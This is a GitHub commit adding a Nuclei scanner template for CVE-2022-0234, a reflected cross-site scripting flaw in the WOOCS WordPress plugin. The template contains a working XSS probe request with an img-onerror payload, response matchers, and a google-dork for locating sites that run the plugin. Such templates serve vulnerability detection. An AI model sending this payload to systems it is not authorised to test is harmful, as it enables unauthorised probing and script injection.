Merge pull request #6502 from projectdiscovery/CVE-2022-0234

Create CVE-2022-0234.yaml
patch-1
Ritik Chaddha 2023-01-10 18:00:38 +05:30 committed by GitHub
commit 54dd9222c1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 41 additions and 0 deletions

View File

@ -0,0 +1,41 @@
id: CVE-2022-0234
info:
name: WOOCS < 1.3.7.5 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: |
The plugin does not sanitise and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting
reference:
- https://wpscan.com/vulnerability/fd568a1f-bd51-41bb-960d-f8573b84527b
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0234
classification:
cve-id: CVE-2022-0234
metadata:
verified: true
google-dork: inurl:"wp-content/plugins/woocommerce-currency-switcher"
tags: cve,cve2022,wordpress,wp-plugin,wp,xss,woocs
requests:
- raw:
- |
GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src onerror=alert(document.domain)>'
- '"current_currency":'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200